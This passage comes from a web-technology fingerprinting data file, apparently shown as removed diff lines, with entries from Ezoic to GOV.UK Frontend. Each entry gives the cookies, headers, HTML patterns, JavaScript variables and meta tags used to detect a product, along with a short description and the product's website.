"ezoictestactive", - "ezoica" - ], - "description": "Ezoic is a website optimisation platform for digital publishers and website owners powered by machine learning.", - "website": "https://www.ezoic.com" - }, - "F5 BigIP": { - "cookies": { - "f5_fullwt": "", - "f5_ht_shrinked": "", - "f5_st": "", - "lastmrh_session": "", - "mrhsequence": "", - "mrhsession": "", - "mrhshint": "", - "tin": "" - }, - "headers": { - "server": "^big-?ip$" - }, - "description": "F5's BIG-IP is a family of products covering software and hardware designed around application availability, access control, and security solutions.", - "website": "https://www.f5.com/products/big-ip-services" - }, - "FARFETCH Black \u0026 White": { - "description": "Farfetch Platform Solutions is a full service platform and agency providing end-to-end, multichannel e-commerce solutions for luxury fashion brands under the name Farfetch Black \u0026 White.", - "website": "https://www.farfetchplatformsolutions.com/" - }, - "FAST ESP": { - "html": [ - "\u003cform[^\u003e]+id=\"fastsearch\"" - ], - "description": "FAST ESP is a service-oriented architecture development platform which is geared towards production searchable indexes. It provided a flexible framework for creating ETL applications for efficient indexing of searchable content.", - "website": "http://microsoft.com/enterprisesearch" - }, - "FAST Search for SharePoint": { - "html": [ - "\u003cinput[^\u003e]+ name=\"parametricsearch" - ], - "implies": [ - "Microsoft SharePoint", - "Microsoft ASP.NET" - ], - "description": "FAST Search for SharePoint is the search engine for Microsoft's SharePoint collaboration platform. Its purpose is helping SharePoint users locate and retrieve stored enterprise content.", - "website": "http://sharepoint.microsoft.com/en-us/product/capabilities/search/Pages/Fast-Search.aspx" - }, - "FUDforum": { - "js": [ - "fud_msg_focus", - "fud_tree_msg_focus" - ], - "implies": [ - "Perl", - "PHP" - ], - "description": "FUDforum is a discussion forum software with support for posts, topics, polls and attachments.", - "website": "https://github.com/fudforum/FUDforum" - }, - "Fabric": { - "meta": { - "powered-by": [ - "fabricinc" - ] - }, - "description": "Fabric is a headless commerce platform helping direct-to-consumer and B2B brands utilize an ecommerce platform designed for their needs.", - "website": "https://fabric.inc" - }, - "Facebook Ads": { - "description": "Facebook Ads is an online advertising platform developed by Facebook.", - "website": "https://www.facebook.com/business/ads" - }, - "Facebook Chat Plugin": { - "js": [ - "facebookchatsettings" - ], - "description": "Facebook Chat Plugin is a website plugin that businesses with a Facebook Page can install on their website.", - "website": "https://developers.facebook.com/docs/messenger-platform/discovery/facebook-chat-plugin/" - }, - "Facebook Login": { - "js": [ - "fb.getloginstatus" - ], - "description": "Facebook Login is a way for people to create accounts and log into your app across multiple platforms.", - "website": "https://developers.facebook.com/docs/facebook-login/" - }, - "Facebook Pay": { - "description": "Facebook pay is a payment solution which can be used on any site or app outside Facebook ecosystem.", - "website": "https://pay.facebook.com/" - }, - "Facebook Pixel": { - "js": [ - "_fbq" - ], - "description": "Facebook pixel is an analytics tool that allows you to measure the effectiveness of your advertising.", - "website": "http://facebook.com" - }, - "Facil-iti": { - "description": "Facil-iti is a web accessibility overlay which provides support for some people with disabilities and seniors.", - "website": "https://www.facil-iti.com/" - }, - "Fact Finder": { - "html": [ - "\u003c!-- factfinder" - ], - "description": "Fact Finder is a platform which, combines search, navigation, and merchandising solutions to streamline online search and power sales.", - "website": "http://fact-finder.com" - }, - "FalguniThemes Nisarg": { - "js": [ - "nisargpro_script_vars" - ], - "description": "FalguniThemes Nisarg is a new fully responsive and translation ready WordPress theme.", - "website": "https://www.falgunithemes.com/downloads/nisarg" - }, - "FameThemes OnePress": { - "js": [ - "onepress_plus", - "onepressismobile", - "onepress_js_settings" - ], - "description": "FameThemes OnePress is a free portfolio one page WordPress theme suited for an individual or digital agency.", - "website": "https://www.famethemes.com/themes/onepress" - }, - "FameThemes Screenr": { - "js": [ - "screenr_plus", - "screenr.autoplay" - ], - "description": "FameThemes Screenr is a fullscreen parallax WordPress theme suited for business, portfolio, digital agency, freelancers.", - "website": "https://www.famethemes.com/themes/screenr" - }, - "FancyBox": { - "js": [ - "$.fancybox.version", - "fancybox.version", - "jquery.fancybox.version" - ], - "implies": [ - "jQuery" - ], - "description": "FancyBox is a tool for displaying images, html content and multi-media in a Mac-style 'lightbox' that floats overtop of web page.", - "website": "http://fancyapps.com/fancybox" - }, - "Fanplayr": { - "js": [ - "fanplayr.platform.version" - ], - "description": "Fanplayr is a real-time insights platform that provides website optimisation and personalisation solutions for businesses.", - "website": "https://fanplayr.com" - }, - "FaraPy": { - "html": [ - "\u003c!-- powered by farapy." - ], - "implies": [ - "Python" - ], - "website": "https://faral.tech" - }, - "FareHarbor": { - "html": [ - "\u003ciframe[^\u003e]+fareharbor" - ], - "description": "FareHarbor is an booking and schedule management solution intended for tour and activity companies.", - "website": "https://fareharbor.com" - }, - "Fast Bundle": { - "js": [ - "fastbundleconf.bundlebox", - "fastbundleconf.cartinfo.app_version" - ], - "implies": [ - "Shopify" - ], - "description": "Fast Bundle gives you the ability to create product bundle offers with discounts.", - "website": "https://fastbundle.co" - }, - "Fast Checkout": { - "js": [ - "fast_version", - "fast.events" - ], - "description": "Fast Checkout is a one-click purchases for buyers without requiring a password to log in.", - "website": "https://www.fast.co" - }, - "FastComet": { - "description": "FastComet is a hosting service company from San Francisco, California.", - "website": "https://www.fastcomet.com" - }, - "Fastcommerce": { - "meta": { - "generator": [ - "^fastcommerce" - ] - }, - "website": "https://www.fastcommerce.com.br" - }, - "Fasterize": { - "js": [ - "fstrz" - ], - "description": "Fasterize is a website accelerator service.", - "website": "https://www.fasterize.com/" - }, - "Fastly": { - "headers": { - "fastly-debug-digest": "", - "server": "fastly", - "vary": "fastly-ssl", - "x-fastly-origin": "", - "x-fastly-request-id": "", - "x-via-fastly:": "" - }, - "description": "Fastly is a cloud computing services provider. Fastly's cloud platform provides a content delivery network, Internet security services, load balancing, and video \u0026 streaming services.", - "website": "https://www.fastly.com" - }, - "Fastspring": { - "html": [ - "\u003ca [^\u003e]*href=\"https?://sites\\.fastspring\\.com", - "\u003cform [^\u003e]*action=\"https?://sites\\.fastspring\\.com" - ], - "website": "https://fastspring.com" - }, - "Fat Zebra": { - "html": [ - "\u003c(?:iframe|img|form)[^\u003e]+paynow\\.pmnts\\.io", - "\u003c(?:iframe)[^\u003e]+fatzebraframe" - ], - "description": "Fat Zebra provides a process of accepting credit card payments online.", - "website": "https://www.fatzebra.com/" - }, - "Fat-Free Framework": { - "headers": { - "x-powered-by": "^fat-free framework$" - }, - "implies": [ - "PHP" - ], - "website": "http://fatfreeframework.com" - }, - "FatherShops": { - "description": "FatherShops is an ecommerce platform.", - "website": "https://fathershops.com" - }, - "Fathom": { - "js": [ - "fathom.blocktrackingforme" - ], - "description": "Fathom is easy-yet-powerful website analytics that protects digital privacy.", - "website": "https://usefathom.com" - }, - "Fbits": { - "js": [ - "fbits" - ], - "website": "https://www.traycorp.com.br" - }, - "FeatherX": { - "js": [ - "featherx.clientid" - ], - "description": "FeatherX captures content from all major reviews and social media channels.", - "website": "https://featherx.ai" - }, - "FedEx": { - "description": "FedEx is an American multinational company which focuses on transportation, ecommerce and business services.", - "website": "https://www.fedex.com" - }, - "Fedora": { - "headers": { - "server": "fedora" - }, - "description": "Fedora is a free open-source Linux-based operating system.", - "website": "http://fedoraproject.org" - }, - "Feedback Fish": { - "description": "Feedback Fish is a widget for collecting website feedback from users.", - "website": "https://feedback.fish" - }, - "Feefo": { - "js": [ - "feefotracker", - "feefowidget" - ], - "description": "Feefo is a cloud-based consumer review and rating management software.", - "website": "https://www.feefo.com" - }, - "Fenicio": { - "js": [ - "_fn.validadortelefono", - "fnwishlist.cargarinfoarticulos", - "fnecommerce.micompravisto" - ], - "description": "Fenicio is a cloud platform that handles all aspects of ecommerce sales channel operation and management.", - "website": "https://fenicio.io" - }, - "Fera": { - "js": [ - "fera" - ], - "description": "Fera is a product review and social proof application for ecommerce websites.", - "website": "https://fera.ai/" - }, - "Fera Product Reviews App": { - "js": [ - "ferajsurl" - ], - "implies": [ - "Shopify", - "Fera" - ], - "description": "Fera Product Reviews App is a product review and social proof app for Shopify.", - "website": "https://apps.shopify.com/fera" - }, - "FilePond": { - "js": [ - "filepond", - "filepond.create", - "filepond.setoptions" - ], - "description": "FilePond is a JavaScript library for file uploads.", - "website": "https://pqina.nl/filepond/" - }, - "FinanceAds": { - "description": "FinanceAds is a performance marketing agency that has grown affiliate network for the financial sector.", - "website": "https://www.financeads.com" - }, - "Findify": { - "js": [ - "findify", - "findifyanalytics" - ], - "description": "Findify is an intelligent ecommerce search, navigation and personalisation solution.", - "website": "https://www.findify.io" - }, - "Findmeashoe": { - "js": [ - "fmasjavascript", - "fmasgendersizetextvariantidcollection", - "fmasuniversalwidgetjsfilename" - ], - "description": "Findmeashoe is a footwear recommendation portal that aims to improve shopping efficiency and experience of footwear shoppers.", - "website": "https://findmeashoe.com" - }, - "Fing": { - "headers": { - "server": "^fing" - }, - "description": "Fing is a cloud service to deploy and manage your applications without being worried about your infrastructure and environment.", - "website": "https://fing.ir" - }, - "FingerprintJS": { - "js": [ - "fingerprint", - "fingerprint2", - "fingerprint2.version", - "fingerprintjs" - ], - "description": "FingerprintJS is a browser fingerprinting library that queries browser attributes and computes a hashed visitor identifier from them.", - "website": "https://fingerprintjs.com" - }, - "FintechOS": { - "js": [ - "ftoschat", - "ftos.core.getb2cculture" - ], - "meta": { - "ftos-app-version": [ - "\\sv([\\d\\.]+)\\s\\;version:\\1" - ] - }, - "description": "FintechOS is a low-code platform for banking and insurance.", - "website": "https://fintechos.com" - }, - "FireApps Ali Reviews": { - "description": "FireApps Ali Reviews is an all-in-one solution that helps to collect, showcase, and manage impactful reviews.", - "website": "https://apps.shopify.com/ali-reviews" - }, - "Firebase": { - "js": [ - "firebase.sdk_version" - ], - "headers": { - "vary": "x-fh-requested-host" - }, - "description": "Firebase is a Google-backed application development software that enables developers to develop iOS, Android and Web apps.", - "website": "https://firebase.google.com" - }, - "Fireblade": { - "headers": { - "server": "fbs" - }, - "website": "http://fireblade.com" - }, - "Firepush": { - "implies": [ - "Shopify" - ], - "description": "Firepush is an omnichannel marketing app that helps Shopify stores to drive sales with automated web push, email and SMS campaigns.", - "website": "https://getfirepush.com" - }, - "FirstHive": { - "description": "FirstHive is a full-stack customer data platform that enables consumer marketers and brands to take control of their first-party data from all sources.", - "website": "https://firsthive.com" - }, - "FirstImpression.io": { - "js": [ - "fi.options", - "fiprebidanalyticshandler" - ], - "description": "FirstImpression.io is a customized ad placements for publisher websites on their platform, with zero technical work.", - "website": "https://www.firstimpression.io" - }, - "FirstPromoter": { - "js": [ - "firstpromoterapi", - "fprom_obj_" - ], - "description": "FirstPromoter is a software platform that helps businesses to create, manage and track their affiliate marketing programs.", - "website": "https://firstpromoter.com" - }, - "Fit Analytics": { - "js": [ - "fitanalyticswidget", - "_fitanalytics" - ], - "description": "Fit Analytics is a platform that provides clothing size recommendations for online customers by measuring individual dimensions via webcams.", - "website": "https://www.fitanalytics.com" - }, - "FlagSmith": { - "js": [ - "flagsmith" - ], - "description": "FlagSmith is an open-source, fully supported feature flag \u0026 remote configuration solution, which provides hosted API to help deployment to a private cloud or on-premises environment.", - "website": "https://flagsmith.com" - }, - "Flarum": { - "js": [ - "app.cache.discussionlist", - "app.forum.freshness" - ], - "html": [ - "\u003cdiv id=\"flarum-loading\"" - ], - "implies": [ - "PHP", - "MySQL" - ], - "description": "Flarum is a discussion platform.", - "website": "http://flarum.org/" - }, - "Flask": { - "headers": { - "server": "werkzeug/?([\\d\\.]+)?\\;version:\\1" - }, - "implies": [ - "Python" - ], - "website": "http://flask.pocoo.org" - }, - "Flat UI": { - "html": [ - "\u003clink[^\u003e]* href=[^\u003e]+flat-ui(?:\\.min)?\\.css" - ], - "implies": [ - "Bootstrap" - ], - "website": "https://designmodo.github.io/Flat-UI/" - }, - "Flazio": { - "js": [ - "flazio_global_conversion", - "_exaudiflazio" - ], - "description": "Flazio is an Italian website builder.", - "website": "https://flazio.com" - }, - "Fleksa": { - "implies": [ - "Node.js", - "Next.js" - ], - "description": "Fleksa is an online ordering system for restaurants and delivery.", - "website": "https://fleksa.com" - }, - "FlexCMP": { - "headers": { - "x-flex-lang": "", - "x-powered-by": "flexcmp.+\\[v\\. ([\\d.]+)\\;version:\\1" - }, - "html": [ - "\u003c!--[^\u003e]+flexcmp[^\u003ev]+v\\. ([\\d.]+)\\;version:\\1" - ], - "meta": { - "generator": [ - "^flexcmp" - ] - }, - "website": "http://www.flexcmp.com/cms/home" - }, - "FlexSlider": { - "implies": [ - "jQuery" - ], - "description": "FlexSlider is a free jQuery slider plugin.", - "website": "https://woocommerce.com/flexslider/" - }, - "Flickity": { - "js": [ - "flickity" - ], - "description": "Flickity is a JavaScript slider library, built by David DeSandro of Metafizzy fame.", - "website": "https://flickity.metafizzy.co" - }, - "FlippingBook": { - "js": [ - "__flippingbook_csrf__" - ], - "description": "FlippingBook is a web-based software platform that enables users to create, publish, and share digital publications such as magazines, brochures, catalogs, and presentations.", - "website": "https://flippingbook.com" - }, - "Flits": { - "js": [ - "flitsobjects.accountpage" - ], - "implies": [ - "Shopify" - ], - "description": "Flits is a customer account pages that get all your shopper data in one place.", - "website": "https://getflits.com" - }, - "Flocktory": { - "js": [ - "flocktory", - "flocktorypurchase" - ], - "description": "Flocktory is a social referral marketing platform that enables users to share personalised offers via social networks.", - "website": "https://www.flocktory.com" - }, - "Flow": { - "js": [ - "flow.cart", - "flow.countrypicker", - "flow_cart_localize" - ], - "description": "Flow is an ecommerce platform that enables brands and retailers to sell their merchandise to customers internationally by creating localized shopping experiences.", - "website": "https://www.flow.io/" - }, - "Flowbite": { - "implies": [ - "Tailwind CSS" - ], - "description": "Flowbite is an open-source library of UI components based on the utility-first Tailwind CSS framework featuring dark mode support, a Figma design system, and more.", - "website": "https://github.com/themesberg/flowbite" - }, - "Flowplayer": { - "js": [ - "flowplayer", - "flowplayer.version" - ], - "description": "Flowplayer is a scalable, performance-first HTML 5 video player and platform hosting solution for publishers, broadcasters and digital media.", - "website": "https://flowplayer.com" - }, - "Flutter": { - "js": [ - "_flutter.loader", - "_flutter_web_set_location_strategy", - "fluttercanvaskit" - ], - "meta": { - "id": [ - "^flutterweb-theme$" - ] - }, - "implies": [ - "Dart" - ], - "description": "Flutter is an open source framework by Google for building beautiful, natively compiled, multi-platform applications from a single codebase.", - "website": "https://flutter.dev" - }, - "FluxBB": { - "html": [ - "\u003cp id=\"poweredby\"\u003e[^\u003c]+\u003ca href=\"https?://fluxbb\\.org/\"\u003e" - ], - "implies": [ - "PHP" - ], - "website": "https://fluxbb.org" - }, - "Fly.io": { - "cookies": { - "_fly": "" - }, - "headers": { - "fly-request-id": "", - "server": "^fly/[\\w]+\\s\\(.*\\)$", - "via": "^.*\\sfly\\.io$" - }, - "description": "Fly is a platform for running full stack apps and databases.", - "website": "https://fly.io" - }, - "Flying Analytics": { - "description": "Flying Analytics is a performance optimisation plugin for WordPress websites designed to reduce page load times and improve the user experience.", - "website": "https://wordpress.org/plugins/flying-analytics/" - }, - "Flying Images": { - "js": [ - "flyingimages" - ], - "description": "Flying Images is a performance optimisation plugin for WordPress websites designed to reduce page load times and improve the user experience.", - "website": "https://wordpress.org/plugins/nazy-load/" - }, - "Flying Pages": { - "js": [ - "flyingpages" - ], - "description": "Flying Pages is a performance optimisation plugin for WordPress websites designed to reduce page load times and improve the user experience.", - "website": "https://wordpress.org/plugins/flying-pages/" - }, - "FlyingPress": { - "description": "FlyingPress is a WordPress plugin that helps to improve website performance by optimising various aspects of a WordPress site. The plugin offers a range of features, including caching, image optimisation, lazy loading, database optimisation, and more.", - "website": "https://flying-press.com" - }, - "Flyspray": { - "cookies": { - "flyspray_project": "" - }, - "html": [ - "(?:\u003ca[^\u003e]+\u003epowered by flyspray|\u003cmap id=\"projectsearchform)" - ], - "implies": [ - "PHP" - ], - "website": "http://flyspray.org" - }, - "Flywheel": { - "headers": { - "x-fw-hash": "", - "x-fw-serve": "", - "x-fw-server": "^flywheel(?:/([\\d.]+))?\\;version:\\1", - "x-fw-static": "", - "x-fw-type": "" - }, - "implies": [ - "WordPress" - ], - "website": "https://getflywheel.com" - }, - "Fomo": { - "js": [ - "fomo.version" - ], - "description": "Fomo is a social proof marketing platform.", - "website": "https://fomo.com" - }, - "Font Awesome": { - "js": [ - "fontawesomecdnconfig", - "___font_awesome___" - ], - "description": "Font Awesome is a font and icon toolkit based on CSS and Less.", - "website": "https://fontawesome.com/" - }, - "FontServer": { - "description": "FontServer is a online font delivery network service-provider for websites.", - "website": "https://fontserver.ir" - }, - "Fontify": { - "description": "Fontify allows you to utilise any font without having to alter code.", - "website": "https://apps.shopify.com/fontify-change-customize-font-for-your-store" - }, - "FooPlugins FooGallery": { - "js": [ - "foogallery" - ], - "description": "FooPlugins FooGallery is a great image gallery plugin for WordPress.", - "website": "https://fooplugins.com/foogallery-wordpress-gallery-plugin" - }, - "Food-Ordering.co.uk": { - "js": [ - "storetoc", - "disablecollection", - "disabledelivery", - "getorderacceptfor" - ], - "description": "Food-Ordering.co.uk is a multi-lingual food ordering system for several hospitality scenarios including online ordering for delivery/takeout, in-store ordering (order at table, room service, self ordering kiosk), telephone ordering with callerID, and table booking.", - "website": "https://www.food-ordering.co.uk" - }, - "FoodBooking": { - "implies": [ - "GloriaFood" - ], - "description": "FoodBooking is a virtual food court based on a curated list of restaurants that use the GloriaFood ordering system.", - "website": "https://www.foodbooking.com" - }, - "Foodomaa": { - "cookies": { - "foodomaa_session": "" - }, - "description": "Foodomaa is a multi-restaurant food ordering and restaurant membership system.", - "website": "https://foodomaa.com" - }, - "Fork Awesome": { - "description": "Fork Awesome is now a community effort based on Font Awesome by Dave Gandy.", - "website": "https://forkaweso.me" - }, - "Fork CMS": { - "meta": { - "generator": [ - "^fork cms$" - ] - }, - "implies": [ - "Symfony" - ], - "description": "Fork CMS is an open-source content management system.", - "website": "http://www.fork-cms.com" - }, - "FormAssembly": { - "js": [ - "wforms.version" - ], - "description": "FormAssembly is a platform that enables to collection of data and processing via workflow.", - "website": "https://www.formassembly.com" - }, - "FormBold": { - "description": "FormBold is a complete web forms solution for static websites that allows you to create forms, collect data, and send notifications.", - "website": "https://formbold.com" - }, - "Formaloo": { - "description": "Formaloo is a no-code collaboration platform that helps businesses create custom data-driven business applications and internal tools, automate their processes and engage their audience.", - "website": "https://www.formaloo.com" - }, - "Formidable Form": { - "description": "Formidable Forms is a WordPress plugin that enables you to create quizzes, surveys, calculators, timesheets, multi-page application forms.", - "website": "https://formidableforms.com" - }, - "Formitable": { - "description": "Formitable is an reservation management system for restaurants.", - "website": "https://formitable.com" - }, - "Formli": { - "description": "Formli is a web-based form builder service that permits users to produce and personalise online forms for different purposes, including surveys, feedback forms, event registrations, and others.", - "website": "https://formli.com" - }, - "ForoshGostar": { - "cookies": { - "aws.customer": "" - }, - "meta": { - "generator": [ - "^forosh\\s?gostar.*|arsina webshop.*$" - ] - }, - "implies": [ - "Microsoft ASP.NET" - ], - "website": "https://www.foroshgostar.com" - }, - "Forte": { - "description": "Forte, a CSG Company offers merchants and partners a broad range of payment solutions.", - "website": "https://www.forte.net" - }, - "Forter": { - "cookies": { - "fortertoken": "" - }, - "js": [ - "ftr__startscriptload" - ], - "description": "Forter is a SaaS company that provides fraud prevention technology for online retailers and marketplaces.", - "website": "https://www.forter.com" - }, - "Fortune3": { - "html": [ - "(?:\u003clink [^\u003e]*href=\"[^\\/]*\\/\\/www\\.fortune3\\.com\\/[^\"]*siterate\\/rate\\.css|powered by \u003ca [^\u003e]*href=\"[^\"]+fortune3\\.com)" - ], - "website": "http://fortune3.com" - }, - "Foswiki": { - "cookies": { - "foswikistrikeone": "", - "sfoswikisid": "" - }, - "js": [ - "foswiki" - ], - "headers": { - "x-foswikiaction": "", - "x-foswikiuri": "" - }, - "html": [ - "\u003cdiv class=\"foswiki(?:copyright|page|main)\"\u003e" - ], - "meta": { - "foswiki.servertime": [], - "foswiki.wikiname": [] - }, - "implies": [ - "Perl" - ], - "description": "Foswiki is a free open-source collaboration platform.", - "website": "http://foswiki.org" - }, - "Four": { - "js": [ - "four" - ], - "description": "Pay with four is a Buy now pay later solution.", - "website": "https://paywithfour.com/" - }, - "Foursixty": { - "js": [ - "foursixtyembed" - ], - "description": "Foursixty is a widget which turns Instagram content and user-generated content into shoppable galleries.", - "website": "https://foursixty.com/" - }, - "Fourthwall": { - "js": [ - "fourthwallanalytics", - "fourthwalltheme" - ], - "meta": { - "version": [ - "^(.+)$\\;version:\\1\\;confidence:0" - ] - }, - "description": "Fourthwall helps to create and launch a branded website.", - "website": "https://fourthwall.com/" - }, - "Foxy.io": { - "description": "Foxy’s hosted cart \u0026 payment page allow you to sell anything, using your existing website or platform.", - "website": "https://www.foxy.io" - }, - "Framer Sites": { - "js": [ - "framer", - "framer.animatable", - "framer.version", - "__framer_importfrompackage" - ], - "implies": [ - "React" - ], - "description": "Framer is primarily a design and prototyping tool. It allows you to design interactive prototypes of websites and applications using production components and real data.", - "website": "https://framer.com/sites" - }, - "Frames": { - "description": "Frames is a tool that allows you to create wireframes in real time, design and develop systems, and access a library of components to help you build custom websites quickly and easily, without any restrictions on your creative input.", - "website": "https://getframes.io" - }, - "France Express": { - "description": "France Express is a delivery service based in France.", - "website": "https://www.france-express.com" - }, - "Frappe": { - "js": [ - "frappe.avatar" - ], - "meta": { - "generator": [ - "^frappe$" - ] - }, - "implies": [ - "Python", - "MariaDB" - ], - "description": "Frappe is a full stack, batteries-included, web framework written in Python and Javascript.", - "website": "https://frappeframework.com" - }, - "FreakOut": { - "js": [ - "fout", - "_fout_jsurl", - "_fout_queue" - ], - "description": "FreakOut is a marketing technology company with programmatic solutions (DSP,SSP) that delivers in-feed display and video formats across global publishers.", - "website": "https://www.fout.co.jp" - }, - "FreeBSD": { - "headers": { - "server": "freebsd(?: ([\\d.]+))?\\;version:\\1" - }, - "description": "FreeBSD is a free and open-source Unix-like operating system.", - "website": "http://freebsd.org" - }, - "FreeTextBox": { - "js": [ - "ftb_api", - "ftb_addevent" - ], - "html": [ - "\u003c!-- \\* freetextbox v\\d \\((\\d+\\.\\d+\\.\\d+)\\;version:\\1" - ], - "implies": [ - "Microsoft ASP.NET" - ], - "description": "FreeTextBox is a free open-source HTML Editor.", - "website": "http://freetextbox.com" - }, - "Freespee": { - "website": "https://www.freespee.com" - }, - "Frequenceo": { - "description": "Frequenceo is a fixed-rate postage service in France.", - "website": "https://www.laposte.fr/entreprise/produit-entreprise/frequenceo" - }, - "Frequently Bought Together": { - "description": "Frequently Bought Together is a Shopify app which add Amazon-like 'Customers Who Bought This Item Also Bought' product recommendations to your store.", - "website": "https://www.codeblackbelt.com" - }, - "Fresco": { - "js": [ - "fresco.version" - ], - "description": "Fresco is a responsive lightbox. Fresco comes with thumbnail support, fullscreen zoom, Youtube and Vimeo integration for HTML5 video and a powerful Javascript API.", - "website": "https://github.com/staaky/fresco" - }, - "Fresh": { - "implies": [ - "Deno", - "Preact" - ], - "description": "Fresh is a full stack modern web framework for JavaScript and TypeScript developers, designed to make it trivial to create high-quality, performant, and personalized web applications.", - "website": "https://fresh.deno.dev" - }, - "Freshchat": { - "js": [ - "freshbots" - ], - "description": "Freshchat is a cloud-hosted live messaging and engagement application.", - "website": "https://www.freshworks.com/live-chat-software/" - }, - "Freshop": { - "js": [ - "freshopinitialized", - "freshop" - ], - "meta": { - "author": [ - "^freshop, inc\\.$" - ] - }, - "description": "Freshop is an online platform for grocers.", - "website": "https://www.freshop.com" - }, - "Freshteam": { - "description": "Freshteam is a cloud-based HR and applicant tracking solution offered by Freshworks.", - "website": "https://www.freshworks.com/hrms/" - }, - "Freshworks CRM": { - "js": [ - "zargetform", - "zarget", - "zargetapi" - ], - "description": "Freshworks CRM is a cloud-based customer relationship management (CRM) solution. Key features include one-click phone, sales lead tracking, sales management, event tracking and more.", - "website": "https://www.freshworks.com/crm" - }, - "Friendbuy": { - "js": [ - "friendbuy", - "friendbuyapi.merchantid" - ], - "description": "Friendbuy is a cloud-based referral marketing solution designed to help ecommerce businesses of all sizes.", - "website": "https://www.friendbuy.com" - }, - "Friendly Captcha": { - "description": "Friendly Captcha is a proof-of-work based solution in which the user’s device does all the work.", - "website": "https://friendlycaptcha.com" - }, - "Frizbit": { - "js": [ - "frizbit.configurationmanager", - "frizbit.remoteconfigs" - ], - "description": "Frizbit is a marketing tool that helps digital marketeers increase web traffic and revenue by combining web push notification.", - "website": "https://frizbit.com" - }, - "Froala Editor": { - "js": [ - "froalaeditor.version" - ], - "implies": [ - "jQuery", - "Font Awesome" - ], - "description": "Froala Editor is a WYSIWYG HTML Editor written in Javascript that enables rich text editing capabilities for applications.", - "website": "http://froala.com/wysiwyg-editor" - }, - "Front Chat": { - "js": [ - "frontchat" - ], - "description": "Front Chat is the live website chat solution that you can manage straight from your inbox.", - "website": "https://front.com" - }, - "FrontPage": { - "meta": { - "generator": [ - "microsoft frontpage(?:\\s((?:express )?[\\d.]+))?\\;version:\\1" - ], - "progid": [ - "^frontpage\\." - ] - }, - "description": "FrontPage is a program for developing and maintaining websites.", - "website": "http://office.microsoft.com/frontpage" - }, - "Frontastic": { - "headers": { - "frontastic-request-id": "" - }, - "description": "Frontastic is a Commerce Frontend Platform that unites business and development teams to build commerce sites on headless.", - "website": "https://www.frontastic.cloud/" - }, - "Frontify": { - "description": "Frontify is a cloud-based brand management platform for creators and collaborators of brands.", - "website": "https://www.frontify.com" - }, - "Frontity": { - "meta": { - "generator": [ - "^frontity" - ] - }, - "implies": [ - "React", - "Webpack", - "WordPress" - ], - "description": "Frontity is a React open-source framework focused on WordPress.", - "website": "https://frontity.org" - }, - "Frosmo": { - "js": [ - "_frosmo", - "frosmo" - ], - "description": "Frosmo is a SaaS company which provides AI-driven personalisation products.", - "website": "https://frosmo.com" - }, - "FullCalendar": { - "js": [ - "fullcalendar.version" - ], - "implies": [ - "TypeScript" - ], - "description": "FullCalendar is a full-sized drag and drop JavaScript event calendar.", - "website": "https://fullcalendar.io" - }, - "FullContact": { - "js": [ - "fullcontact" - ], - "description": "FullContact is a privacy-safe Identity Resolution company building trust between people and brands.", - "website": "https://www.fullcontact.com" - }, - "FullStory": { - "js": [ - "fs.clearusercookie" - ], - "description": "FullStory is a web-based digital intelligence system that helps optimize the client experience.", - "website": "https://www.fullstory.com" - }, - "FunCaptcha": { - "description": "FunCaptcha is a type of CAPTCHA, which is a security measure used to protect websites and online services from spam, bots, and other forms of automated abuse.", - "website": "https://www.arkoselabs.com/arkose-matchkey/" - }, - "Fundiin": { - "js": [ - "websiteenablesuggestfundiin", - "websitemaximumsuggestfundiinwithprediction" - ], - "description": "Fundiin is the BNPL leader in Vietnam in providing zero-cost buy-now-pay-later facilities.", - "website": "https://fundiin.vn" - }, - "Funding Choices": { - "js": [ - "__googlefc" - ], - "description": "Funding Choices is a messaging tool that can help you comply with the EU General Data Protection Regulation (GDPR), and recover lost revenue from ad blocking users.", - "website": "https://developers.google.com/funding-choices" - }, - "Fundraise Up": { - "js": [ - "fundraiseup" - ], - "description": "Fundraise Up is a platform for online donations.", - "website": "https://fundraiseup.com" - }, - "FunnelCockpit": { - "description": "FunnelCockpit is an all-in-one funnel builder.", - "website": "https://funnelcockpit.com" - }, - "Funnelish": { - "js": [ - "funnelish" - ], - "description": "Funnelish is a software tool that helps businesses create and optimise sales funnels for their websites to increase their conversion rates and revenue. Funnelish page builder is a funnel builder focused on building ecommerce funnels.", - "website": "https://funnelish.com" - }, - "Funraise": { - "js": [ - "fr.image_base_url" - ], - "description": "Funraise is a nonprofit fundraising platform that enables organisations to build fundraising websites as well as manage donations and campaigns.", - "website": "https://funraise.org" - }, - "FurnitureDealer": { - "description": "FurnitureDealer is the internet partner of more than 100 leading local full service brick and mortar furniture retailers.", - "website": "https://www.furnituredealer.net" - }, - "Fusion Ads": { - "js": [ - "_fusion" - ], - "website": "http://fusionads.net" - }, - "FusionCharts": { - "js": [ - "fusioncharts", - "fusionchartsdataformats", - "fusionmaps" - ], - "description": "FusionCharts is a comprehensive charting solution for websites.", - "website": "https://www.fusioncharts.com/charts" - }, - "Future Shop": { - "website": "https://www.future-shop.jp" - }, - "Futurio": { - "description": "Futurio is a lightweight and customizable multi-purpose and WooCommerce WordPress theme.", - "website": "https://futuriowp.com" - }, - "Fynd Platform": { - "js": [ - "__fyndaction" - ], - "implies": [ - "Vue.js" - ], - "description": "Fynd Platform is a subscription based software as a service where brands can mange their catalog, send marketing sms/emailers and sell their products.", - "website": "https://platform.fynd.com" - }, - "GEODIS": { - "description": "GEODIS is a global transport and logistics company.", - "website": "https://geodis.com" - }, - "GEOvendas": { - "description": "GEOvendas is an ecommerce platform with analytics, sales force, B2B and B2C products.", - "website": "https://www.geovendas.com" - }, - "GLPI": { - "js": [ - "glpiunsavedformchanges" - ], - "meta": { - "glpi:csrf_token": [] - }, - "implies": [ - "PHP" - ], - "description": "GLPI is an open-source IT Asset Management, issue tracking and service desk system.", - "website": "https://glpi-project.org" - }, - "GLS": { - "description": "GLS offers parcel, logistics and express services, throughout Europe as well as in the US and in Canada.", - "website": "https://gls-group.eu" - }, - "GOV.UK Elements": { - "html": [ - "\u003clink[^\u003e]+elements-page[^\u003e\"]+css\\;confidence:25", - "\u003cdiv[^\u003e]+phase-banner-alpha\\;confidence:25", - "\u003cdiv[^\u003e]+phase-banner-beta\\;confidence:25", - "\u003cdiv[^\u003e]+govuk-box-highlight\\;confidence:25" - ], - "implies": [ - "GOV.UK Toolkit" - ], - "website": "https://github.com/alphagov/govuk_elements/" - }, - "GOV.UK Frontend": { - "js": [ - "govukfrontend" - ], - "html": [ - "\u003clink[^\u003e]* 